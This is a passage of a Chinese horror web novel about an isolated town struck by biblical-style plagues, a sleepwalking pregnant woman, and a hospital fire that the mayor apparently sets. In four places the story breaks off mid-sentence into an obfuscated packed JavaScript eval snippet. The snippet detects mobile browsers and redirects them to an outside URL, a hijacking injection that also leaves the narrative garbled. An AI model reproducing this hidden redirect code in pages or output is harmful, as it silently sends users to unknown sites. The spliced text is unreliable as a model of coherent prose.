“你说,咱们小镇是不是很奇怪,都这么久没和外界联系了,咱们竟然还过得好好的。” “确实很奇怪。”奈绪皱着眉头,遽然展颜一笑,伸出手握住淳平微凉的掌心:“不过我们永远都会是朋友,对吧?” 淳平惨淡地笑了一下,手指用力握紧,像在发一个很毒的誓:“会的。” 淳平:“其实我已经猜出你的梦想了,奈绪。” “哦?是什么?”奈绪微笑。 “记者,对不对。” 奈绪皱了下鼻子,笑道:“猜对了。你的梦想呢?” “我的?”淳平垂下头:“我的恐怕没有办法实现了。” “那就不说了。”奈绪轻轻拍着他的肩。 “好!好!”镇民们鼓掌。 高高的绳索间,慎一郎骄傲地笑着,一脸陶醉的神情。 “要是我也能这样做就好了。”淳平低声说。 自己也能得到鼓掌,也能得到快乐,也许……也许别人还会高看自己一眼。 那个人又出现了。 这次他挤在人群中,依旧是黑色的头发,撑一把旧伞,一脸似笑非笑的表情。 天上无雨,但那个人还是一如既往地打着伞,冷冷看着他。 他听见那个人说:“你做不了的。淳平,你只能像你的父母一样,在镇子上过一辈子,你没有办法离开这座小镇,没有办法成为足球运动员,也没办法走索,你的脚受不了。” 淳平一眨眼,那人消失在眼前。 “又要下雪了。”奈绪伸出手,接到了一片雪花,雪花纯净而透明。 奈绪饶有兴致地看着雪花融化在掌心,更多的雪花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977561|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋洋洒洒飘落下来。 她听见一声尖锐的呼啸,仿佛灾难来临的前奏,仰起脸看整面天空时,有一粒红色落了下来。 红色? 她伸出手接住这枚红色的雪花,看它融化在掌心化作一滩红色的血水。 空中红色的雪花越来越多,盖过了白色的积雪,她惊恐地向后退了两步,跌在地上。 鲜红色的雪花似乎要将她淹没,她的口鼻逐渐无法呼吸,红色已经漫到了头部,冰冷的雪将她淹没。 救我…… 救我…… 她两只手拼命往上扒,将脸扬起拼命呼吸着。 “姑娘,你怎么了?” 奈绪清醒过来,身边站了个过路人,她跌坐在地上,正在手舞足蹈。 她放下手臂,有些羞愧地从地上站起来,拔腿朝药店跑去。 有什么事情不对劲。 淳平黄色的头发在人群中很惹眼,他头发下部已经变成了黑色,正仰起脸,看着天空中的那一根绳子。 慎一郎正在上面走着,神情专注。 雪下得很大,地上铺了厚厚一层积雪,白皑皑的雪被镇民的脚踩得七零八落,脚印与脚印叠在一起。 大片的雪花交缠着从天空飘落,挂在光秃秃的树枝上,树枝已经被蝗虫啃食了大半,像地面伸出的干而瘦的手。 慎一郎身上缠了一根安全绳,一只脚踩在绳索上,从下面可以看见慎一郎的鞋底。 鞋面上落了点雪花,慎一郎小心地走着,像打磨钻石那样认真。 一抹红色飘到了他的脚面上。 融化了。 红色? 慎一郎想:这颜色怎么像血? 心念一动,他脚下便失了准头,略一偏移,绳子抖动起来,紧接着身子一横,直直跌落下来! 惊呼声响起,慎一郎后背的安全绳关键时刻死死拽住了他,阻止他他的掉落。 慎一郎悬挂在半空,奈绪急忙想去搬梯子,却意外瞥见了淳平嘴角勾起的笑容。 那笑容阴森而恐怖,奈绪忽然产生了一种奇异的感觉,好像站在她面前的这个人,并非是她从小到大的朋友,而是一个从镇子外的陌生人。 “啊——”尖叫声刺破耳膜。 原本极其稳固的安全绳,竟从中间断裂开,再也承受不住慎一郎的重量,慎一郎从几十米高的上空落下,如同一只折了翼的鸟儿。 他摔在铺了白雪的地面上,血液从脑袋旁流淌开来,像一幅红色大面积铺陈的油画。 淳平听到了笑声,他转过脸去,街角处,一个撑着黑伞,脸色煞白的人正看着自己。 淳平捧腹大笑起来,那个撑着黑伞的男人也弯下腰,大声尖笑着。 事后,经警察检查,慎一郎身上的安全绳,是假的,内部只是一层薄薄的细丝。 而真正的安全绳,不知去向。 后来,淳平也走起了索,他在高高的绳索上快速走着,他的脚已经能正常行走了。 淳平很安心,他有一根安全绳,一根很结实的安全绳,他可以在掌声中起舞,吸引全场镇民的目光。 他学习不好,后来就再也没去学校了。 每当他表演的时候,那个和他长得一模一样的人,就会撑一把伞站在人群中,嘴角咧到最大。群众的欢呼声都会让他苍白的面容更红润一分。 只是,奈绪再也没有来看过他的表演,她只是冷眼从人群中走过,偶尔伸手接一朵雪花。 12. 虫潮 田野里落了雪,世界都变得清澈而明亮,一只饥饿的鸟儿用尖尖的鸟喙在土壤中翻找着扭动的虫子。 它察觉到土壤在振动,一股气流朝它涌来,它轻盈地一拍翅膀,掠过光秃的树干,落到树杈上,将树枝压弯了一角。 它小小的眼睛好奇地看着振动的来源,那是一个女人。 个子高挑,穿一身薄睡裙,赤着脚,眼神飘忽不定,在雪地中拼命奔跑着,留下一行脚印。 她奔跑的速度极快,看方向似乎是从小镇的中心跑来的,脚被冻得青紫,但丝毫没有停下脚步的意思。 在她身后,两把手电筒闪烁着,长长的光线照到了那个女人的粉色睡裙,他们惊呼一声,加快了脚步。 那是一个男人,和一个少女,男人神色紧张,黑眼圈极重,腿脚无力,跑一段便要停下歇息,少女还算精神,逐渐追上了那个高个子女人。 “步美姐姐,步美姐姐!”奈绪将手按在膝盖上,半弯着腰无奈地喊。 她已经累得气喘吁吁,女人却还坚持向前跑着,奈绪只好咬咬牙,扑上去抱住女人。 叫步美的女人挣扎了一下便软软瘫倒,重新陷入了梦乡,很快便打起了呼噜。 奈绪不敢轻易叫醒她,只能静静等待雄一的到来。 步美怀孕了,奈绪因为学校放假,主动提出来照顾步美。 一方面是自己确实闲着没事干,另一方面,步美出了些问题,她作为步美的好友,不想袖手旁观。 步美出现了梦游的毛病,步美家族中并没有患上梦游症的人,这点已经足够奇怪。 更奇怪的是,步美每次半夜跑出去后,脚上总是沾着沙子,有好几次雄一在半夜出去找步美,都发现她站在离海边不远的沙滩上,一脸茫然无措。 将步美背到雄一背上,两个人一起往小镇走。 踩着细软的土壤,雄一感受着背上的重量,整个人如同抽了力,疯狂跳动的心脏逐渐安定下来。 “今天真是谢谢你了。”雄一浓眉紧皱:“我们在这个小镇上待了几个月了,她……她现在这样,也许是想回家了。” 奈绪有些担忧地看着步美,她正躺在雄一背上熟睡。 奈绪:“没关系,以后有什么事情还可以找我。” 到房间后,雄一和奈绪有一搭没一搭地聊天,还差一个时辰就要天亮了,一般这个时候,步美就会像往常一样醒来。 雄一给步美揉着冻坏的脚,直到她的小腿由青白色重新变得红润,步美眼皮微抬,睫毛颤动,缓缓睁开了眼睛。 “你醒了?感觉怎么样?”奈绪忙问。 “我……”步美看了看两人浓重的黑眼圈,拼命压抑住哭腔:“我又梦游了?” 两人没有回答,但脸色已经说明了一切。 步美捂着脸,哭出声来:“我、我也不知道自己是怎么了……” 雄一安慰道:“你可能只是太想家了,太想你父母了。” “你做了什么梦?”奈绪急忙转移话题,步美情绪不稳定,现在困在镇子里面,要是想起她许久不见的父母就糟糕了。 “梦……”步美用手指轻轻点着脸颊,嘴角咧开一抹弧度:“梦里,是一片大海,大海上漂了一艘船,甲板上有好多人,好多人,我怎么也挤不进去,一次又一次被丢下船。后来我听见有人说,船底破了!整艘船就都沉入了海底,只留我一个人在岸上。” “真是莫名其妙的一个梦啊。”步美摇头,转眼看向奈绪:“谢谢你,奈绪。” 她轻抚着自己的肚子,还差两个月便要生产了,她脸上的笑容温柔而平和:“等这个孩子出生,大概春天就已经到了,我们商量过了,如果这个孩子是女孩,就叫她夏美,如果是个男孩,就叫他优介。” “好哎!”奈绪高兴地喊,“这两个名字都好听!到时候我一定常来找他们玩!” 奈绪因为失眠睡不着觉,去医院拿药,却见到雄一来拿药。 一见到雄一,奈绪吓了一跳。 “你怎么脸色这么差?步美现在还是在梦游吗?” 雄一扯出一丝笑容:“要是像梦游那样简单就好了……” “怎么了?” 雄一走路很快,并不想说话,奈绪敏锐地看见他手里提的一袋药中,有不少膏药。 步美受伤了? 她熬了雄一半天,雄一才终于松口带她见见步美。 玄关脱鞋进入房间后,她便隐约闻到一股腥味。 这股腥味混杂了血的味道,像海风吹过铁锈,奈绪小心翼翼地往卧室走去,离卧室越近,腥味就越浓。 “步美姐姐?”奈绪轻声说。 溜进房间内,床边放了一双鞋子,是雄一的,上面沾满了沙子。 床上被单上沾了点黄色的沙子,被子裹住了步美,步美只露出半张脸,整个身子裹得紧紧的。 “步美……” 她伸出手想触碰步美的肩,步美却惊慌失措地避开她的手。 “别、别碰!” 她猛地坐起,向墙角靠去,指着房门大喊:“奈绪,快出去!” 头发自然分开,垂落到肩两侧,露出了她的全脸,即使没有灯光照射也看得清晰。 一块一块青紫色的疤痕占据了她的脸颊,露出的半个肩膀生了疮,全是暗红色和黄褐色的凸起和凹陷,腥味正是从这些疮中而来。 “你是生病了吗?”奈绪眼神关切。 步美无助地摇了摇头,她的肚子还有一个月就要临产了,此时肚子上也生了疮,皮肉翻卷,出奇地恐怖骇人。 “我……我这些天,梦游更频繁了,梦里我总是挤不上那个船,现实里,我梦游过后,身上就会开始出现这样的疮疤,我……我现在真的不知道该做什么了。” “你现在最重要的是住院。”奈绪神情严肃:“找到病因所在,才能好好根治。” 在奈绪的建议下,步美住进了医院。 漆黑的楼道中,步美平躺在床上,奈绪正在隔壁床上休息,她的手机现在没有任何信号,联系不到外界,她只好打开相册,一张一张看从前在小镇上拍的照片。 最后一张照片是在学校里,她在操场上给姐姐由子拍照,由子笑得正开心,旁边右一还是一脸愁容,角落里,伊藤望一头自来卷十分亮眼,正和友树聊天。 没有淳平的身影。 淳平他…… 奈绪摇了摇头,不愿再回忆起这个人,他站在绳索上大声喊着奈绪的名字,奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977562|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪却怕得只想走开。 一个身影忽然坐了起来。 奈绪急忙关闭手机看过去,步美坐在床上,过来一会儿,忽然翻身朝外面走去。 她挺着一个大肚子,走得一摇一晃,梦游的人不能贸然吵醒,奈绪急忙下床追了出去。 月光下,步美踩着积雪,在一片惨烈的白色中奔跑,她眼神涣散,连奔跑的姿势也不太协调,似乎她用尽全身力气,就只是为了奔跑一样。 奈绪也跑得飞快,浑身冻得僵硬,紧跟在步美身后。 步美跑过的地方,留下了一个一个脚印,脚印内散落了几块皮肉,正是从步美身上生的疮落下来的,红色的血滴在雪中。 奈绪更着急了,她要赶紧把步美找回去,不能放任她一个孕妇在寒冷的夜晚奔跑。 可今天,步美跑得格外快,奈绪被远远甩在身后,只看见一个穿着条纹衣服的小点。 她朝海边跑去了。 奈绪紧加快速度,翻过山坡,跑过街道,走过布满石子的小路,最后终于踩上了松软的沙滩。 黑夜中,船的黑影和钟的黑影靠在一起,步美脚步蹒跚,手脚并用朝船边冲去。 奈绪想起步美的梦境,步美她……难道要上船? 奈绪踩着细沙,也朝船边跑去。 她以为步美会冲进船舱,怎料步美在靠近船后,主动停下了脚步,侧身看向那口大钟。 她平淡无神的眼睛仿佛忽然有了光,挥起拳头便向大钟砸去。 “咚——” 声音震耳欲聋,奈绪捂住耳朵,加快脚步冲到步美身旁,将步美抱住,想将步美从大钟旁拉开,步美手被束缚着,竟用头开始撞起大钟来。 她身上的皮肤溃烂得更快了,肩部整块皮肤整片脱落下来,露出了鲜红的血肉,奈绪手臂鼓劲,将她拼命从大钟旁拉开。 脚好像踩到了什么东西。 奈绪疑惑抬头,看见月光之下寒冷彻骨的海洋上,浮起来一层密密麻麻的海虫。 她脚下,一只海虫刚刚爬上岸,在她的脚下碎裂。 “怎么这么多虫子……”奈绪瞳孔震颤,脸色遽然变得苍白。 虫子接连不断地往岸上涌来,像一片滔天的虫潮,一只海虫扑到了她脚下,勾着她的鞋子开始往上爬。 她拉住步美,迈开步子躲避着海虫的袭击,朝医院跑去。 海虫却并没有追上来。 奈绪察觉到海虫离她越来越远,奔跑间隙回头查看,却顿时愣在原地。 成千上万的海虫,汹涌着扑到沙滩下,将整个废弃的破船抬了起来,连带着那口大钟。 海虫形成虫柱,将大钟运到船上,接着像潮水一样退去,大船被缓慢移动到了海上,在月光的照耀下,海虫带着这艘破旧的船,一同在海面上奔流着,速度极快,霎时间就消失在了海面上。 海面恢复了平静,好像什么都没发生过。 步美捂着肚子,一股热流涌出,她蹲下身子,歪倒在地上。 “我……我怎么会在这里……奈绪,我、我要生了,你快去喊人……” 奈绪还来不及对刚才见到的万虫奔袭场面表示震惊和疑惑,便迎着冷风,在逐渐下起的飞雪中朝医院冲去。 13. 诞生 icu病房外,一群人焦急地等待着。 奈绪一家和雄一守在门外,奈绪焦急地咬着指甲,看向雄一。 雄一坐在椅子上,两掌相合,对着墙壁祈祷,他眼睛里布满了血丝,正盯着病房的门口。 奈绪的姐姐由子也跟着紧张,他们都是被奈绪喊来的。 虽然步美在奈绪家里住的时间并不长,可他们都对这一对温和有趣的夫妻产生了好感。 门上的灯灭了。 两个医生走出来,高个子医生拉下口罩,说:“是个女孩,不过情况有些紧急,这个刚出生的孩子似乎视力方面有些问题,现在正在加紧检测原因。女方现在暂时安全,马上要被送进隔离病房。” “眼睛?我女儿眼睛出什么问题了?”雄一忙问。 矮个子医生推推眼镜:“眼睛倒是正常的,但看不见,怀疑是神经方面出了问题。” 雄一瞬间瘫软下来,腿脚发软站不住,靠着墙边大口喘气,直到眼前的白光消失。 车子骨碌碌推了出来,他急忙扑上前,步美伸出一只手轻柔地握了一下,随后放开,被医生推进了隔离病房。 婴儿被护士洗净了身体,发出嘹亮的哭声,它包在软布里,躺在床上,手脚扑腾,像是在探索这个世界。 婴儿的眼睛看起来又黑又亮,睫毛长长,眉眼有些像步美,鼻子下巴很像雄一,它咯咯笑了起来,笑声清脆又明亮。 “怎么会看不见呢?”奈绪有些伤感地想。 她将手放在婴儿面前挥了一下,婴儿眼睛全无反应。 “没关系没关系……”雄一自言自语,“健康就好,健康就好,等我们出去镇子,我找最好的医生来给你看,宝贝,宝贝……” 他用手指摸着女婴的额头,孩子的额头温暖而平滑。 “夏美,你好啊……”雄一轻声和她打招呼。 正是早春时节,可千鱼镇的树木没有发芽,肃杀的气息并未从千鱼镇中被抹去半分。 一只饥肠辘辘的鸟儿翅膀无力地拍打着,越过无一片枝叶生长的原野,往隧道口飞去。 一小把谷子被撒在地上,它用光了最后一点力气,费力地啄食着,终于恢复了力气,它食足胃饱,黑亮的眼珠开始打转,看到一个蹲在它面前的女孩。 女孩手中还剩了些谷粒,黑亮的长发垂散腰际,她神情有些许不耐,看向隧道深处,忽然扯起嗓子大喊: “你还要再试一遍吗?右一,你真是疯了!” 这一嗓子把鸟儿吓得惊飞,她也就将最后的一点谷粒撒在地上,拍拍手站起身。 身形瘦弱的高个男子从隧道深处走了出来,脸色苍白如纸,他冷声说:“我没疯。” 他手中拿了一本圣经,圣经的边角都被翻到皱起,有几页都被折上了角,书的封皮已经掉了。 “由子,”他开口:“最近镇子上的事情,你不觉得奇怪吗?” “当然奇怪了!”由子说:“人死了将近一半,还出现了那样……那样奇怪的事情,根本没办法预料。” “有办法预料。”右一走到由子身边坐下,示意由子也跟着坐下来。 他把圣经摊开,指着其中的某一页:“你看,咱们镇子上发生的事情,虽然无法预测顺序,但大体和这些内容一致。” “圣经里记载了十灾,这十灾,在这短短的几个月里,发生了许多灾难,先是最开始的蝗灾,而后是苍蝇,虱子,青蛙,还有之前镇子出现的牛羊疫情,虽然没有造成大面积的破坏,但也足够蹊跷,镇子里的许多人都遭到了不同程度的精神污染,慢慢的,大家对这些并不常见的灾害都习以为常了。” “那我们应该怎么做?它上面剩下的这几种灾害还有哪些?”由子焦急地问。 右一翻看着圣经,蓦地合上,叹了口气。 “现在医院里面,很多人身上生了疮,接下来等待我们的,还剩下冰雹,黑暗,以及长子之灾。” “现在唯一的办法,就是从镇子里出去,也许出去后,还有一线生机。” 未到黎明,一群青壮年已经聚集在了医院门口,领头的是一个寸头中年男子,他是刚刚上任的镇长中田。 短短几个月,镇子上的镇长已经换了三个人,打破了镇长职务的最短任职纪录,而前镇长骏平,现在还躺在医院内,他的女儿珠惠,也躺在他旁边,总觉得身上有虱子在咬。 父女隔着两面玻璃窗相望,他们在隔离仓内听不到对方的声音,只能看见彼此眼中的泪水。 而奈绪正站在舱外的走廊旁,从三楼的窗户遥遥向下望。 先是看见几个人,他们走过街道,加入他们的人越来越多,像一团乌云,往医院的方向涌了过来,镇长站在医院门前,手中握了一个大喇叭。 “里面的人听着——” 镇长清了清嗓子,对手下示意,守住了正门,同时两个壮汉往医院后门摸去。 奈绪敏锐地察觉了不对,转头敲了敲珠惠的氧气舱,按下按钮与她对话:“珠惠,外面出事了,他们可能要封锁医院,你要不要和我一起出去?” 珠惠苍白地笑了,她手上大块的血痂刚刚凝结,看起来触目惊心,她摇了摇头。 “你呢?”奈绪问镇长,镇长的情况更严重,他只是闭上眼睛,看了一眼女儿,无言地摇头。 与此同时,窗外的喇叭声紧接着响起:“镇子里最近爆发了瘟疫,得病的人会大块掉皮肤,经镇上医生研究,这种病通过接触传染,毒性极大,现对医院进行封锁,消毒,内部人员撤出,病人统一处理。” 奈绪想起了病床上的步美,她才刚生了孩子,还没恢复过来,忙拔腿朝病房跑去。 她听见轻轻的敲击玻璃的声音,回过头去,是珠惠,她轻轻挥着手,与奈绪告别。 “珠惠……”泪水瞬间模糊了奈绪的眼睛。 珠惠两条可爱的小辫子还在轻轻晃着。 “雄一他……他在哪里?”步美脸色苍白,嘴唇干裂。 “他回家去拿行李了,估计现在快回来了,但我估计他们守住了正门,他现在进不来。” “我们现在走,好不好?”奈绪的声音带着哭腔,“我不知道他们要做什么,为什么要把医院封起来,我知道,我知道你的这种病不会传染,他们为什么要撒谎呢?” 步美轻柔地抚摸着奈绪的脸,话里带着遗憾:“可惜我看不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977563|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个孩子长大了,我还想等到出镇子后,把她带给我妈妈看看。” 奈绪哭了起来:“你不走了吗?现在跑出去还来得及。” “我走不了了。” 步美掀开被子,半条腐烂的腿裸露在眼前。 “也许当我从那个公交车上下来,结局就已经注定了吧,我们本来都要死在那里的。奈绪,你带着夏美走吧。” 医院外,人群吵嚷,镇长安抚着居民的情绪,举起喇叭说:“大家放心,我们一定会终止这次瘟疫,镇子已经在积极和外面联络,我们一定能恢复到从前的样子。” 一人抢白道:“这几个月来,镇子死了多少人你不清楚?我们活到现在,没有精神崩溃已经是万幸了,你怎么能把这些安全隐患留到现在才处理?” “我们一定会给大家一个交待!”镇长鞠了一躬,人群才勉强平息了些。 雄一背着一包衣服,站在医院门口张望,几次试图挤进去又被警卫拦住。 “里面出什么事了?” “烂疮病,你不知道啊?会传染的!现在医院已经被封起来了!” “谁说的!”雄一焦急万分:“谁造的谣?这病根本不传染!” “你瞎说什么胡话?”一人白了他一眼:“神经病!镇长的话都不听了!” 雄一毫不理会,抱起衣服就往里闯:“让我进去,让我进去!” 一只手悄悄拉了拉他的袖子:“雄一叔叔。” 雄一没有理会,那声音又怯怯叫了一声:“雄一叔叔。” 雄一转过身去,看见奈绪,她怀中抱着一个婴儿,眼角泛着泪花。 “步美呢?” “她说,她说她出不来了,她的腿烂了。” 雄一思索片刻,低头亲了一下夏美的额头,有些恋恋不舍地看着夏美的眼睛。 “可惜她还没见过她母亲长什么样呢。” 女婴眼睛依然茫然,却忽然嚎啕大哭起来,手脚乱蹬,奈绪只好把夏美抱紧。 “雄一叔叔,我们现在赶紧走,现在的情况不好,镇民们……镇民们好像精神不太好。” 年长的镇民精神萎靡,被耳中接连不断的低语所折磨。 年轻的镇民,一半忍受孤独的困扰,一半则陷入了对事物的极端迷恋,眼窝深陷,如同骨架子一样。 没等奈绪反应过来,雄一已经快步走到警卫身旁:“我……我也得了烂疮病。” “你这是干什么!” 奈绪惊呼,抱着夏美向前挤去,“你不要你孩子了吗?” 雄一看着嚎啕大哭的女儿,咬咬牙又重复了一遍:“我也得了那个病。” 警卫吓了一跳,急忙和雄一拉开一段距离,用警棍戳着他的背:“快!快!现在赶紧进去!不要待在外面!” 雄一露出一抹微笑,有些不舍地看了一眼夏美。 “放心,我见过步美之后,就会想办法出来的。” “你乱说什么,怎么可能让你出来!”警卫呵斥道:‘快进去,快进去!’ “雄一叔叔……” 奈绪看向那个朝大门走去的背影,从背后看,才发现雄一的头发竟然白了那么多。 14. 火舌 远离镇子的田野边,有一座两层的建筑。 因为没有电,建筑处在一片模糊的黑暗中,只有窗台边能看见一丝幽幽的火光,那是正在跳跃的烛光。 烛光照耀之处,一个中年女子正抱着一个小婴儿轻柔地摇晃着,婴儿圆眼睛眨动,没有发出一声哭叫。 两个少女一前一后从楼上下来,男孩也从房间里走出来,都各自坐在椅子上。 “奈绪,雄一和步美现在还在医院吗?” 奈绪的母亲问,她脸上流露出关切,嗓子有些沙哑。 奈绪点头,声音有些颤抖:“镇长说,他们要将疑似感染烂疮的人全部集中到林间的房子中,统一处理,至于那些得病的,就先留在医院养着。” 中村趿拉着拖鞋,挠了挠鼻子:“意思是……她俩必须分开?” 奈绪脑中浮现起被子下的那双腿,有一个声音在脑中响起: 也许等不到分开那天,步美就先死去了。 她急忙摇摇头,赶走这恼人的情绪。 她的肚子叫了起来,紧接着,由子的肚子也响起来,他们一家人都饿得饥肠辘辘。 所幸这个婴儿吃的并不多,不然他们连这个婴儿也养不起了。 铛铛铛。 有人敲门。 “我去开。”中村有气无力地说。 初春的寒冷依旧恼人,一个身影带着冷风,从门缝塞进来。 手里提了个袋子。 “爸,你回来了。买到些什么没有?”奈绪问。 奈绪的爸爸将袋子放到桌子上摊开:“现在用钱根本买不到东西,咱们镇子与外界不相通,货币已经没有用了。” 奈绪:“那你怎么拿到的?” “我卖了几件衣服,换了点吃的。” 袋子里有几块面包,香肠,他熟练地将其分给他们。 “咱们可能出不去了。”由子咽下一口面包。 她将右一的发现告诉了他们。 “也就是说,我们镇子的灾难,现在还没有结束?”奈绪首先反应过来。 中村:“接下来的冰雹,黑暗,长子之灾,会按什么样的顺序进行?”说到最后一个长子之灾时,他声音发颤。 “这个不清楚。”由子有些悲观地摇头,“现在唯一的办法就是想办法自给自足,能混过一天是一天,等这些灾难都结束了,也许就会迎来新生。” 她在口袋里掏了几下,掏出一包东西,这东西用白纸包住,小心地叠放着。 “我从龙太郎老师那里要了些种子,是菜种,现在是早春,种下去也许会发芽,就算现在树木已经不发芽了,我们也要试一试。” 奈绪看着那张白纸包裹的种子,手指前伸,颤抖着接住了它,像捧住了一块易碎的玉石。 “这是宝贝。”奈绪失声说,“我也加入。” 两姐妹起身推开门,在月光的照耀下摸到那片开满郁金香的原野。 父母没有跟出来,他们看着镇子一点点变成死气沉沉的样子,无论如何拯救都只有失败,现在他们已经不愿意尝试了。 “这些郁金香开得这么好,我们的种子也一定会的。”由子面露期待。 她们伸手将郁金香拔掉,挖出一条田垄,将种子细细撒在里面,又返回井边,费力打了一桶井水,小心翼翼地捧着一汪水浇到泥土上。 两位姑娘忙活到半夜,忍着腹中饥饿回了房间,沉沉睡下。 “镇长,这样做……会不会不太好?” “一切病菌在大火下,都会丧失效力,你如果想让这群病人继续占用镇子所剩不多的资源,继续传播疾病,那你可以不这么做。可我是镇长,干的就是得罪人的事情。你把它递给我,我来做。” “一件棉服换一个面包。” “这么便宜?能不能再多一些啊。” “现在是早春,过些天就是夏天了,我们要棉服有什么用?当然卖得便宜了,不想要就走!” “别别别,行吧,我这里有三件。” 奈绪背着鼓鼓囊囊的大包,将三件棉服从大包中抽出来,摆在柜台前,大包瞬间干瘪下去。 将三个面包放进瘪了的大包,她走出店门,正瞧见熊熊黑烟缭绕在镇子上空。 黑色缓缓蠕动,像白纸上一滩晕开的墨水,往镇子的四边摊开,侵略。 黑烟滚滚,奈绪用袖子捂住鼻子,闷声道:“怎么了?” 一个捂着鼻子的路人冒烟前行,听见奈绪的问话后停住脚步:“医院着火了。” “着火?那些病人不是还留在医院吗?” “是啊,”路人拍手:“你说巧不巧,那些疑似感染者刚挪去密林边睡,医院就着火了,不过也好,都是些病菌什么的,烧了也干净。” 奈绪瞪了他一眼,往医院跑去。 熊熊大火已经烧裂了墙壁,奈绪跑过去时,黑烟已经形成了一朵巨大的乌云,烟浓得几乎可以切开。 火舌燃烧到了医院的最上方,吞吐着上层的空气,一群警卫围在医院附近,防止其他人进入火灾现场。 镇长站在医院门前,神情悲痛,鞠躬大声道:“对不起!没有及时做好火情管理,导致抢救病人失败!” 烟雾弥漫,奈绪眯着眼睛看向四周的人,他们的神情没有悲痛,没有惋惜,有的只是麻木,和小小的窃喜。 奈绪看向三楼,那是珠惠和她父亲的氧气舱所在的位置。 已经被烧裂了,墙体下沉,只留下漆黑的钢筋。 一个生硬的声音在奈绪的脑中机械般响起: 步美的状况是无法离开的。 她无法离开。 她无法离开。 奈绪喃喃念着这句话。 一股巨大的恐慌和无力感从脚底攀升到她的头顶。 她难以呼吸。 视觉扭曲,着火的医院和四面的楼房,如同山一样向她倾倒过来,沉甸甸地压在她身上。 她觉得自己的头顶是在抗着几万吨的重量,头皮刺痛,她两脚发麻,跌坐在地。 “步美死了。”她说。 “珠惠死了。”她说。 “镇长死了。”她说。 她脸颊发麻,被热浪冲得发昏,嘴角再也扯不起一抹弧度。 呆愣着坐了半天,警卫将她带离了火场,她独自走在大街上,眼神空洞。 她忽然发觉自己手中空空荡荡。 带着的包裹不知所踪。 “面包呢?我的面包呢?” 奈绪挨家挨户敲门:“你见到我的面包没?你见到我的面包没?大概这样一个青色的大袋子,里面有三个面包,我的面包呢?” 镇民们被她弄得不胜其烦,关上房门时怒骂:“神经病,我们哪里见过你的面包!” 奈绪慢慢弯下腰,将自己缩到了墙角,将身体蜷缩到不能再小。 “我的面包没有了。”她小声地说,然后开始小声啜泣。 又是一个饥饿的夜晚,奈绪瞪着眼睛,看着白花花的天花板,由子也没有睡着。 “你说,”由子说:“今天的这场火灾,是一场天降的灾难吗?是我们镇子必须要经受的吗?” 奈绪:“我不知道,我只知道无论是人为还是上天,这件事情都发生了,而且都无法挽回了。” 一阵沉默。 由子:“我们的种子会发芽吗?” “我不知道。”奈绪再次回答。 “镇子上现在所有的东西都栽不活,树木没有叶子,只有郁金香还好好开着,但郁金香又不能吃。” 由子叹了口气,黑睫优柔轻眨,泪花从眼角渗出,她不动声色地擦去。 一个黑影步履蹒跚,拖着一条瘸腿,背着一个大包裹,往山坡上走去。 他走过开满花的原野,注意到了那块刚刚开垦的地面,小心绕过后,他走进二层小楼的院子。 院中有一口井,他转动铁杆,从井中打上一桶水,掬一捧水喝下,又捧了一捧洗了把脸,灰扑扑的脸上才露出肉色。 他敲响了房门。 是中村开的门,他揉着眼睛打了个哈欠,将奈绪几人叫了出来。 “雄一?你怎么成现在这样了?”奈绪吃惊,忙让他坐下。 屋子漆黑,奈绪的妈妈点亮了烛火,空气中有一点蜡烛燃烧的烟味。 “你的腿……”奈绪看向雄一。 雄一拍了拍他的腿,摇了摇头。 “你们不是被送去林中的房子了吗?你怎么跑出来的?”奈绪问。 雄一眼神中有些遗憾,看向自己的腿:“这条藤就是代价,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他们打开了袋子,发现袋子中塞了不少吃的,还有几件衣物,药品,还有一张卡片。 卡片上写着:“谢谢你们。” 这张卡片是红色的,奈绪将卡片翻过来,发现是一张婚礼的邀请函,上面还有雄一与步美的签名。 想来是雄一结婚时邀请函没用完,要用到卡片时,便从口袋中掏出了这张几个月前的卡片,写上了这几个字。 “哎呦,这真是……”奈绪的妈妈声音哽咽了。 后来没有人再说话,他们只是各自回到床上睡下。 也有人没睡,睁着眼直到天明。 密林边陲起了火。 一开始只是小火,因为树木干枯,小火很快变成了大火。 森林里的房子火光冲天,几十个人冲出了房子,混入了镇民的队伍,他们都站在森林边缘,看着这场突如其来的山火。 笼罩在镇子上空的黑烟尚未散去,在山火的助攻下,黑烟更加浓郁,遮蔽了日光,整个镇子都格外灰蒙蒙。 